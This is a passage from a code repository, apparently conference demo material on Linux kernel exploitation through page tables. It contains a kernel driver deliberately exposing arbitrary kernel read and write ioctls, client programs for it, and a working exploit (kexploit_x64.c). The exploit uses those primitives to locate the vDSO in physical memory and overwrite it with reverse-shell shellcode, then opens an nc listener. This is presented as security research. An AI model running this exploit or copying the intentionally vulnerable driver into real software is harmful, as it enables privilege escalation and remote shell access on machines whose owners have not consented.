} 135 | } 136 | 137 | ////////////////////////////////////////////////////////////////////////////////////////////// 138 | 139 | void execute_command(unsigned int argc, char **argv) 140 | { 141 | int fd, ret_val; 142 | char device_name[256]; 143 | unsigned long address; 144 | unsigned int cont; 145 | unsigned int size; 146 | char *buffer; 147 | 148 | //int myvar = 1; 149 | struct _kernel_read *kread = NULL; 150 | struct _kernel_write *kwrite = NULL; 151 | unsigned long cr3 = 0; 152 | 153 | memset(device_name, 0x00, sizeof(device_name)); 154 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 155 | 156 | fd = open(device_name, 0); 157 | if (fd < 0) 158 | { 159 | printf("Can't open device file: %s\n", device_name); 160 | exit(-1); 161 | } 162 | 163 | if (strcmp(argv[1],"r") == 0) 164 | { 165 | if (argc < 4) 166 | { 167 | usage(); 168 | return; 169 | } 170 | 171 | kread = (struct _kernel_read *) malloc(sizeof(struct _kernel_read)); 172 | memset(kread, 0x00, sizeof(struct _kernel_read)); 173 | 174 | address = strtoul(argv[2], NULL, 16); 175 | //printf ("We 're sending %p\n", (int *)kread->address); 176 | 177 | // Size to be read 178 | size = (unsigned int) strtoul(argv[3], NULL, 16); 179 | buffer = malloc ( size ); 180 | 181 | for ( cont = 0 ; cont < size ; cont += sizeof ( unsigned long ) ) 182 | { 183 | // Reading next address 184 | kread->address = ( void * ) ( address + cont ); 185 | 186 | if (!ioctl(fd, KERNETIX_ABR, kread)) 187 | { 188 | //printf("Content of %p --> %p\n", (int *)kread->address, (int *)kread->value); 189 | * ( unsigned long * ) &buffer [ cont ] = ( unsigned long ) kread->value; 190 | } 191 | else 192 | { 193 | printf("Problem during IOCTL\n"); 194 | } 195 | } 196 | 197 | // Printing memory 198 | print_memory ( ( unsigned long ) address , buffer , size ); 199 | 200 | // Freeing memory 201 | free (buffer); 202 | free(kread); 203 | } 204 | 205 | else if (strcmp(argv[1],"w") == 0) 206 | { 207 | if (argc < 4) 208 | { 209 | usage(); 210 | return; 211 | } 212 | //printf("Addres of myvar: %p - Value: %d\n", &myvar, myvar); 213 | 214 | kwrite = (struct _kernel_write *)malloc(sizeof(kwrite)); 215 | memset(kwrite, 0x00, sizeof(kwrite)); 216 | 217 | //kwrite->address = &myvar; 218 | kwrite->address = (void *) strtoul(argv[2], NULL, 16); 219 | kwrite->value = (void *)strtoul(argv[3], NULL, 16); 220 | 221 | printf("You 're about to patch %p with %p\n", (int *)kwrite->address, (int *)kwrite->value); 222 | 223 | if (!ioctl(fd, KERNETIX_ABW, kwrite)) 224 | { 225 | printf("Yay.. we're writing!...\n"); 226 | printf("The old value was: %p\n", (int *)kwrite->old_value); 227 | //printf("Value of myvar: %d\n", myvar); 228 | } 229 | else 230 | { 231 | printf("Problem during IOCTL\n"); 232 | } 233 | 234 | free(kwrite); 235 | } 236 | 237 | else if (strcmp(argv[1],"cr3") == 0) 238 | { 239 | if (!ioctl(fd, KERNETIX_CR3, &cr3)) 240 | { 241 | printf("CR3 Value --> %p\n", (void *)cr3); 242 | } 243 | else 244 | { 245 | printf("Problem during IOCTL\n"); 246 | } 247 | } 248 | 249 | else if (strcmp(argv[1],"ru") == 0) 250 | { 251 | address = strtoul(argv[2], NULL, 16); 252 | // Size to be read 253 | size = (unsigned int) strtoul(argv[3], NULL, 16); 254 | buffer = malloc ( size ); 255 | 256 | for ( cont = 0 ; cont < size ; cont += sizeof ( unsigned long ) ) 257 | { 258 | *(unsigned long *) &buffer[cont] = (unsigned long) *(void **)(address + cont); 259 | } 260 | 261 | // Printing memory 262 | print_memory ( ( unsigned long ) address , buffer , size ); 263 | 264 | // Freeing memory 265 | free ( buffer ); 266 | 267 | } 268 | 269 | else if (strcmp(argv[1],"data") == 0) 270 | { 271 | size = (unsigned int) strtoul(argv[2], NULL, 16); 272 | printf("mmaped data: %p\n", mappedFile); 273 | print_memory ( ( unsigned long ) mappedFile , mappedFile , size ); 274 | } 275 | 276 | close(fd); 277 | } 278 | 279 | int main(int argc, char **argv) 280 | { 281 | char *command_line; 282 | char **args; 283 | int i; 284 | void *b; 285 | rl_bind_key('\t',rl_abort);//disable auto-complete 286 | 287 | alloc_memory(); 288 | 289 | b = malloc(0x1000); 290 | memset(b, 0x41, 0x1000); 291 | 292 | strncpy(b, mappedFile, 0x1000); 293 | free(b); 294 | usage(); 295 | do { 296 | 297 | //command_line = read_command(); 298 | command_line = readline("\n >> "); 299 | add_history(command_line); 300 | 301 | args = parse_arguments(command_line); 302 | 303 | execute_command((unsigned int)args[0], args); 304 | free(command_line); 305 | free(args); 306 | } while (1); 307 | 308 | printf("mmaped data: %p\n", mappedFile); 309 | munmap(mappedFile, alloc_size); 310 | 311 | return 0; 312 | } -------------------------------------------------------------------------------- /Demos/Linux/client/old/test.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** A test program for kernetix kernel module 3 | ** 4 | */ 5 | 6 | #include "kernetix.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | void usage(char *programName) 15 | { 16 | printf("-- LKM -Client- -- \n"); 17 | printf("Usage for reading: %s -r
\n", programName); 18 | printf("Usage for writing: %s -w
\n", programName); 19 | printf("Usage for CR3: %s -cr3\n", programName); 20 | exit(-1); 21 | } 22 | 23 | int main(int argc, char **argv) 24 | { 25 | int fd, ret_val; 26 | char device_name[256]; 27 | //unsigned long *address = NULL; 28 | 29 | //int myvar = 1; 30 | struct _kernel_read *kread = NULL; 31 | struct _kernel_write *kwrite = NULL; 32 | 33 | if (argc < 2) 34 | { 35 | usage(argv[0]); 36 | } 37 | else 38 | { 39 | memset(device_name, 0x00, sizeof(device_name)); 40 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 41 | 42 | fd = open(device_name, 0); 43 | if (fd < 0) 44 | { 45 | printf("Can't open device file: %s\n", device_name); 46 | exit(-1); 47 | } 48 | 49 | if (strcmp(argv[1],"-r") == 0) 50 | { 51 | if (argc < 3) usage(argv[0]); 52 | 53 | kread = (struct _kernel_read *) malloc(sizeof(struct _kernel_read)); 54 | memset(kread, 0x00, sizeof(struct _kernel_read)); 55 | 56 | kread->address = (void *) strtoul(argv[2], NULL, 0); 57 | printf ("We 're sending %p\n", (int *)kread->address); 58 | 59 | if (!ioctl(fd, KERNETIX_ABR, kread)) 60 | { 61 | printf("Content of %p --> %p\n", (int *)kread->address, (int *)kread->value); 62 | } 63 | else 64 | { 65 | printf("Problem during IOCTL\n"); 66 | } 67 | free(kread); 68 | } 69 | 70 | else if (strcmp(argv[1],"-w") == 0) 71 | { 72 | if (argc < 4) usage(argv[0]); 73 | //printf("Addres of myvar: %p - Value: %d\n", &myvar, myvar); 74 | 75 | kwrite = (struct _kernel_write *)malloc(sizeof(kwrite)); 76 | memset(kwrite, 0x00, sizeof(kwrite)); 77 | 78 | //kwrite->address = &myvar; 79 | kwrite->address = (void *) strtoul(argv[2], NULL, 0); 80 | kwrite->value = (void *)strtoul(argv[3], NULL, 0); 81 | 82 | printf("You 're about to patch %p with %p\n", (int *)kwrite->address, (int *)kwrite->value); 83 | 84 | if (!ioctl(fd, KERNETIX_ABW, kwrite)) 85 | { 86 | printf("Yay.. we're writing!...\n"); 87 | printf("The old value was: %p\n", (int *)kwrite->old_value); 88 | //printf("Value of myvar: %d\n", myvar); 89 | } 90 | else 91 | { 92 | printf("Problem during IOCTL\n"); 93 | } 94 | 95 | free(kwrite); 96 | } 97 | 98 | else if (strcmp(argv[1],"-cr3") == 0) 99 | { 100 | if (!ioctl(fd, KERNETIX_CR3, NULL)) 101 | { 102 | printf("Check syslog to view CR3 Content\n"); 103 | } 104 | else 105 | { 106 | printf("Problem during IOCTL\n"); 107 | } 108 | 109 | } 110 | 111 | 112 | close(fd); 113 | } 114 | } -------------------------------------------------------------------------------- /Demos/Linux/client/requirements.txt: -------------------------------------------------------------------------------- 1 | # The client requires readline development libraries so the shell can work 2 | 3 | # Debian/Ubuntu 4 | # sudo apt-get install libreadline-dev 5 | 6 | # Redhat/Fedora 7 | # yum install readline-devel 8 | 9 | # To compile: 10 | # gcc client.c kernetix.h -lreadline -------------------------------------------------------------------------------- /Demos/Linux/driver/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += kernetix.o 2 | 3 | EXTRA_CFLAGS := -I$(src)/../include 4 | 5 | all: 6 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 7 | clean: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 9 | -------------------------------------------------------------------------------- /Demos/Linux/driver/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rmmod kernetix 4 | make clean 5 | make 6 | insmod kernetix.ko 7 | chmod 777 /dev/KernetixDriver0 8 | 9 | echo "All done..." -------------------------------------------------------------------------------- /Demos/Linux/driver/kernetix.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** Kernetix Device Driver for fun and profit 3 | ** Based on https://github.com/euspectre/kedr/tree/master/sources/examples/sample_target 4 | ** and https://github.com/starpos/scull/tree/master/scull 5 | ** 6 | ** 7 | ** IOCTL play 8 | */ 9 | 10 | #include 11 | #include /* Needed by all modules */ 12 | #include /* Needed for KERN_ALERT */ 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include // For accessing current process descriptor and mm_struct 23 | #include 24 | 25 | #include "kernetix.h" 26 | /////////////////////////////////////////////////////////////////////////// 27 | 28 | typedef struct _KERNETIX_DEVICE 29 | { 30 | unsigned char *data; 31 | unsigned long buffer_size; 32 | unsigned long block_size; 33 | struct mutex kernetix_mutex; 34 | struct cdev cdev; 35 | } KERNETIX_DEVICE, *PKERNETIX_DEVICE; 36 | 37 | int kernetix_major = KERNETIX_MAJOR; 38 | int kernetix_minor = 0; 39 | 40 | static int kernetix_ndevices = 1; 41 | 42 | static PKERNETIX_DEVICE kernetix_device = NULL; 43 | static struct class *device_class = NULL; 44 | 45 | /////////////////////////////////////////////////////////////////////////// 46 | 47 | static int kernetix_open(struct inode *inodep, struct file *filep){ 48 | printk(KERN_INFO "Device has been opened\n"); 49 | return 0; 50 | } 51 | 52 | static int kernetix_release(struct inode *inodep, struct file *filep){ 53 | printk(KERN_INFO "Device successfully closed\n"); 54 | return 0; 55 | } 56 | 57 | 58 | static int kernetix_ioctl(struct file *file, unsigned int cmd, unsigned long carg ) 59 | { 60 | void __user * p = (void __user *)carg; 61 | 62 | struct _kernel_write *kwrite = NULL; 63 | struct _kernel_read *kread = NULL; 64 | unsigned long _cr3; 65 | 66 | switch (cmd) 67 | { 68 | case KERNETIX_ABW: 69 | { 70 | printk(KERN_ALERT "The IOCTL for ABW %#08x was called :)\n", KERNETIX_ABW); 71 | kwrite = kzalloc(sizeof(struct _kernel_write), GFP_KERNEL); 72 | 73 | if ( copy_from_user(kwrite, p, sizeof(struct _kernel_write)) != 0) 74 | return -EINVAL; 75 | /* 76 | __asm__("pushl %eax\n\t" 77 | "mov %cr0,%eax;\n\t" 78 | "and $0xFFFEFFFF,%eax;\n\t" 79 | "mov %eax,%cr0;\n\t" 80 | "popl %eax" 81 | ); 82 | */ 83 | printk(KERN_ALERT "Address: %p\n", kwrite->address ); 84 | printk(KERN_ALERT "Content: %p\n", *(void **)(kwrite->address) ); 85 | 86 | printk(KERN_ALERT "Value of %p --> %p\n", kwrite->address, *(void **)(kwrite->address) ); 87 | 88 | printk(KERN_ALERT "The new value is %p\n", kwrite->value); 89 | 90 | put_user(*(void **)(kwrite->address), &(((struct _kernel_write *)p)->old_value)); 91 | 92 | *(void **)(kwrite->address) = kwrite->value; 93 | 94 | kfree(kwrite); 95 | break; 96 | } 97 | case KERNETIX_ABR: 98 | { 99 | printk(KERN_ALERT "The IOCTL for ABR %#08x was called :)\n", KERNETIX_ABR); 100 | kread = kzalloc(sizeof(struct _kernel_read), GFP_KERNEL); 101 | 102 | if (copy_from_user(kread, p, sizeof(struct _kernel_read)) != 0) 103 | return -EINVAL; 104 | 105 | printk(KERN_ALERT "Value of 0x%p --> 0x%p\n", kread->address, *(void **)(kread->address) ); 106 | 107 | put_user(*(void **)(kread->address), &(((struct _kernel_read *)p)->value)); 108 | 109 | kfree(kread); 110 | break; 111 | } 112 | case KERNETIX_CR3: 113 | { 114 | printk(KERN_ALERT "The IOCTL for CR3 %#08x was called :)\n", KERNETIX_CR3); 115 | 116 | //put_user( ((struct mm_struct *)current->mm)->pgd, (unsigned long **)p ); 117 | 118 | printk(KERN_ALERT "Value of PGD Virtual Address --> %p\n", ((struct mm_struct *)current->mm)->pgd); 119 | 120 | __asm__("mov %%cr3, %%rax" : "=a" (_cr3)); 121 | 122 | printk(KERN_ALERT "Value of CR3 (Physical Address) --> %p\n", _cr3); 123 | put_user( _cr3, (unsigned long **)p ); 124 | 125 | break; 126 | } 127 | } 128 | 129 | return 0; 130 | } 131 | 132 | struct file_operations fops = { 133 | .owner = THIS_MODULE, 134 | //.read = kernetix_read, 135 | //.write = kernetix_write, 136 | .unlocked_ioctl = kernetix_ioctl, 137 | .open = kernetix_open, 138 | .release = kernetix_release 139 | }; 140 | 141 | /////////////////////////////////////////////////////////////////////////// 142 | void driver_cleanup(void) 143 | { 144 | if (kernetix_device) 145 | { 146 | device_destroy(device_class, MKDEV(kernetix_major,kernetix_minor)); 147 | cdev_del(&kernetix_device->cdev); 148 | kfree(kernetix_device->data); 149 | mutex_destroy(&kernetix_device->kernetix_mutex); 150 | kfree(kernetix_device); 151 | } 152 | 153 | if (device_class) 154 | { 155 | class_destroy(device_class); 156 | } 157 | unregister_chrdev_region(MKDEV(kernetix_major,kernetix_minor), kernetix_ndevices); 158 | } 159 | 160 | static int driver_initialize(void) 161 | { 162 | int err = 0; 163 | struct device *device = NULL; 164 | dev_t dev_number = 0; 165 | 166 | 167 | 168 | err = alloc_chrdev_region(&dev_number, kernetix_minor, kernetix_ndevices, KERNETIX_DEVICE_NAME); 169 | if (err < 0) 170 | { 171 | printk(KERN_WARNING "[target] alloc_chrdev_region() failed\n"); 172 | return err; 173 | } 174 | kernetix_major = MAJOR(dev_number); 175 | 176 | /* Create device class (before allocation of the device) */ 177 | device_class = class_create(THIS_MODULE, KERNETIX_DEVICE_NAME); 178 | if (IS_ERR(device_class)) 179 | { 180 | err = PTR_ERR(device_class); 181 | goto fail; 182 | } 183 | 184 | kernetix_device = (PKERNETIX_DEVICE) kzalloc(sizeof(struct _KERNETIX_DEVICE), GFP_KERNEL); 185 | if (!kernetix_device) 186 | { 187 | err = -ENOMEM; 188 | goto fail; 189 | } 190 | 191 | kernetix_device->data = NULL; 192 | kernetix_device->buffer_size = KERNETIX_BUFFER_SIZE; 193 | kernetix_device->block_size = KERNETIX_BLOCK_SIZE; 194 | mutex_init(&kernetix_device->kernetix_mutex); 195 | cdev_init(&kernetix_device->cdev, &fops); 196 | kernetix_device->cdev.owner = THIS_MODULE; 197 | 198 | err = cdev_add(&kernetix_device->cdev, dev_number, 1); 199 | if (err) 200 | { 201 | printk(KERN_WARNING "[target] Error %d while trying to add %s%d", err, KERNETIX_DEVICE_NAME, MINOR(dev_number)); 202 | goto fail; 203 | } 204 | 205 | 206 | device = device_create(device_class, NULL, dev_number, NULL, KERNETIX_DEVICE_NAME "%d", MINOR(dev_number)); 207 | 208 | if (IS_ERR(device)) 209 | { 210 | err = PTR_ERR(device); 211 | printk(KERN_WARNING "[target] Error %d while trying to create %s%d", err, KERNETIX_DEVICE_NAME, MINOR(dev_number)); 212 | cdev_del(&kernetix_device->cdev); 213 | goto fail; 214 | } 215 | 216 | return 0; 217 | 218 | fail: 219 | driver_cleanup(); 220 | return err; 221 | } 222 | 223 | static int __init kernetix_init(void) 224 | { 225 | printk(KERN_ALERT "Creating Device %s\n", KERNETIX_DEVICE_NAME); 226 | return driver_initialize(); 227 | } 228 | 229 | static void __exit kernetix_exit(void) 230 | { 231 | printk(KERN_ALERT "Unloading %s\n", KERNETIX_DEVICE_NAME); 232 | driver_cleanup(); 233 | } 234 | 235 | module_init(kernetix_init); 236 | module_exit(kernetix_exit); 237 | 238 | MODULE_LICENSE("GPL"); 239 | MODULE_AUTHOR("n3k"); 240 | MODULE_DESCRIPTION("A test module for Arbitrary Write"); 241 | -------------------------------------------------------------------------------- /Demos/Linux/exploits/Makefile: -------------------------------------------------------------------------------- 1 | IDIR =../include 2 | CC=gcc 3 | CFLAGS=-I$(IDIR) 4 | 5 | 6 | _DEPS = kernetix.h 7 | DEPS = $(patsubst %,$(IDIR)/%,$(_DEPS)) 8 | 9 | 10 | %.o: %.c $(DEPS) 11 | $(CC) -c -o $@ $< $(CFLAGS) 12 | 13 | kexploit: kexploit_x64.c 14 | gcc -o kexploit kexploit_x64.c $(CFLAGS) 15 | 16 | -------------------------------------------------------------------------------- /Demos/Linux/exploits/kexploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/CansecWest2016_Getting_Physical/48530a0ce155f7680999c193e5019ed06f5078d5/Demos/Linux/exploits/kexploit -------------------------------------------------------------------------------- /Demos/Linux/exploits/kexploit_x64.c: -------------------------------------------------------------------------------- 1 | #include "kernetix.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | #define ELF_HEADER 0x010102464c457fL 12 | #define VDSO_OFFSET_SIGNATURE 0x280 13 | 14 | 15 | static unsigned long PML4_ENTRY; 16 | static unsigned long PDPT_PHYS_ADDR; 17 | static unsigned int OFFSET_SELF_REF; 18 | static unsigned int OFFSET_SPURIOUS_PTE; 19 | static unsigned int VDSO_gettimeofday; 20 | 21 | 22 | // https://gist.github.com/itsZN/1ab36391d1849f15b785 23 | char shellcode[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3" 24 | "\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8" 25 | "\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A" 26 | "\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9" 27 | "\xFD\xFF\xEE\xA3\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6" 28 | "\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74" 29 | "\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58" 30 | "\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D" 31 | "\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57" 32 | "\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7" 33 | "\x0F\x05"; 34 | 35 | void create_self_reference(void) 36 | { 37 | int fd; 38 | char device_name[256]; 39 | struct _kernel_write *kwrite = NULL; 40 | 41 | memset(device_name, 0x00, sizeof(device_name)); 42 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 43 | 44 | fd = open(device_name, 0); 45 | if (fd < 0) 46 | { 47 | printf("Can't open device file: %s\n", device_name); 48 | exit(-1); 49 | } 50 | 51 | kwrite = (struct _kernel_write *)malloc(sizeof(kwrite)); 52 | memset(kwrite, 0x00, sizeof(struct _kernel_write)); 53 | 54 | //0xffff8800XXXXX880 67 40 fd 01 00 00 00 00 55 | //kwrite->address = (void *) (0xffff880001fd4000 + OFFSET_SELF_REF); 56 | //kwrite->value = (void *) 0x0000000001fd4067; 57 | kwrite->address = (void *)((0xFFFF000000000000 + (PML4_ENTRY<<39) + (PDPT_PHYS_ADDR<<12)) + OFFSET_SELF_REF); 58 | kwrite->value = (void *) ((PDPT_PHYS_ADDR<<12) + 0x67); 59 | 60 | if (!ioctl(fd, KERNETIX_ABW, kwrite)) 61 | { 62 | printf("Yay.. we're writing!...\n"); 63 | printf("The old value was: %p\n", (int *)kwrite->old_value); 64 | //printf("Value of myvar: %d\n", myvar); 65 | } 66 | 67 | free(kwrite); 68 | close(fd); 69 | } 70 | 71 | unsigned long calculate_autoref_address(void) 72 | { 73 | unsigned long entry = (OFFSET_SELF_REF/8); 74 | unsigned int pte_offset = ((OFFSET_SELF_REF/8) - 1) * 0xFFF; //Zero based 75 | pte_offset = pte_offset & 0xF000; 76 | unsigned long address = 0xFFFF000000000000 + (PML4_ENTRY<<39) + (entry<<30) + (entry<<21) + (entry<<12) + pte_offset; 77 | return address; 78 | } 79 | 80 | unsigned long calculate_spurious_address(void) 81 | { 82 | unsigned long entry = (OFFSET_SELF_REF/8); 83 | unsigned int pte_offset = ((OFFSET_SPURIOUS_PTE/8) - 1) * 0xFFF; //Zero based 84 | pte_offset = pte_offset & 0xF000; 85 | unsigned long address = 0xFFFF000000000000 + (PML4_ENTRY<<39) + (entry<<30) + (entry<<21) + (entry<<12) + pte_offset; 86 | return address; 87 | } 88 | 89 | unsigned int search_vdso(unsigned long autoref_address, unsigned long spurious_address) 90 | { 91 | unsigned int pfn = 0; 92 | unsigned long sporious_pte; 93 | unsigned long pte_base = 0x0000000000000067; 94 | 95 | for (pfn = 0; pfn < 0x40000; pfn++) // 1GB of page frames 96 | { 97 | sporious_pte = pte_base + (pfn<<12); 98 | *(void **)(autoref_address + OFFSET_SPURIOUS_PTE) = (void *)sporious_pte; 99 | 100 | usleep(1); //TLB Flush 101 | 102 | if (*(unsigned long *)spurious_address == ELF_HEADER) 103 | { 104 | //if (*(unsigned long *)(spurious_address + VDSO_OFFSET_SIGNATURE) == VDSO_CLOCK_GE) 105 | if (memcmp((void *)(spurious_address + VDSO_OFFSET_SIGNATURE), "vdso_gettimeofday\x00", 18) == 0) 106 | { 107 | //printf("PFN: %i\n", pfn); 108 | //printf("%p \n", *(void **)0xFFFF880040202000); 109 | //printf("%p \n", (void *) ELF_HEADER); 110 | //break; 111 | return pfn; 112 | } 113 | } 114 | } 115 | return 0; 116 | } 117 | 118 | int check_kernel_version(void) 119 | { 120 | int ret = 0; 121 | struct utsname *buf = (struct utsname *)calloc(1, sizeof(struct utsname)); 122 | uname(buf); 123 | 124 | if ( (strcmp(buf->release, "3.16.0-4-amd64") == 0) && strstr(buf->version, "Debian") ) 125 | { 126 | // Values for Debian 8.3 x64 127 | 128 | PML4_ENTRY = 0x110L; 129 | PDPT_PHYS_ADDR = 0x01af4L; 130 | OFFSET_SELF_REF = 0x10; 131 | OFFSET_SPURIOUS_PTE = 0x18; 132 | VDSO_gettimeofday = 0xED1; 133 | ret = 1; 134 | } 135 | 136 | printf("Kernel release: %s\n", buf->release); 137 | printf("OS Version: %s\n", buf->version); 138 | return ret; 139 | } 140 | 141 | int main(void) 142 | { 143 | unsigned int vdso_pfn = 0; 144 | unsigned long autoref_address; 145 | unsigned long spurious_address; 146 | 147 | if ( !check_kernel_version() ) 148 | { 149 | printf("Not supported\n"); 150 | exit(-1); 151 | } 152 | 153 | autoref_address = calculate_autoref_address(); 154 | spurious_address = calculate_spurious_address(); 155 | 156 | printf("Autoref Address: %p\n", (void *)autoref_address ); 157 | printf("Spurious Address: %p\n", (void *)spurious_address ); 158 | 159 | // 0000000000000000 100010000 000000001 000000001 000000001 000000000000 160 | create_self_reference(); 161 | 162 | 163 | vdso_pfn = search_vdso(autoref_address, spurious_address); 164 | 165 | printf("VDSO pfn: %i\n", vdso_pfn); 166 | 167 | memcpy((void *)(spurious_address + VDSO_gettimeofday), shellcode, strlen(shellcode)); 168 | 169 | system("nc -nvlp 4444"); 170 | 171 | return 0; 172 | } 173 | -------------------------------------------------------------------------------- /Demos/Linux/include/kernetix.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** 3 | ** Definitions for kernetix Driver 4 | ** 5 | */ 6 | 7 | #include 8 | 9 | #define KERNETIX_BLOCK_SIZE 0x200 10 | #define KERNETIX_BUFFER_SIZE 0x1000 11 | #define KERNETIX_DEVICE_NAME "KernetixDriver" 12 | 13 | #define KERNETIX_MAJOR 0 14 | 15 | extern int kernetix_major; 16 | 17 | struct _kernel_read 18 | { 19 | void *address; 20 | void *value; 21 | }; 22 | 23 | struct _kernel_write 24 | { 25 | void *address; 26 | void *value; 27 | void *old_value; 28 | }; 29 | 30 | 31 | /* Use 'n' as magic number */ 32 | #define KERNETIX_IOC_MAGIC 'n' 33 | 34 | #define KERNETIX_ABW _IOR(KERNETIX_IOC_MAGIC, 0, struct _kernel_write) 35 | #define KERNETIX_ABR _IOR(KERNETIX_IOC_MAGIC, 1, struct _kernel_read) 36 | #define KERNETIX_CR3 _IOR(KERNETIX_IOC_MAGIC, 2, unsigned int) 37 | 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 